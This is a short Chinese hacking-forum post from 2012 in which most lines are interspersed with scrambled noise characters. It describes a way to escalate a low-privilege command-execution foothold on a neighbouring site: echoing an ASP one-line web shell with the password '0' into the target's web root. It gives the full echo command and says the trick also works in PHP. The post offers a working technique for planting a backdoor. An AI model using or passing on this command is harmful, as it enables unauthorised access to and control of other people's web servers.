在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
" B# [; _5 i; _$ j a8 y P" f
1 H" ?3 j% N$ U4 A& a& R命令格式5 A' j5 p1 l) F6 M, }" E% _
, V. Z" k6 e c/ o( e# W3 r
Echo 语句 >目标站绝对目录 P" g7 ]- f" g$ V+ t" m% d0 n9 E
& u1 p% j) Q1 m8 c8 k5 J7 ~例如：
. n6 l& C5 O1 G
. C% I& m6 q8 K7 e2 ]echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp% s3 }2 X+ ]3 H
, g! I2 z# S6 E9 r# s7 |这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。( i6 |+ P: E: R7 Z1 p4 y9 i
|
发表于 2012-9-23 14:40:24
收藏
支持
反对